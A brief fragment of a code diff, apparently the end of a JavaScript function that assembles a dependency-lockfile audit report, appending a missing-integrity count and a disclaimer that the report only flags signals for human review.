${audit.lockfile.integrityMissing}`); + lines.push('', 'This report identifies signals for human review; it does not prove malicious behavior or modify policy.'); + return lines.join('\n'); +}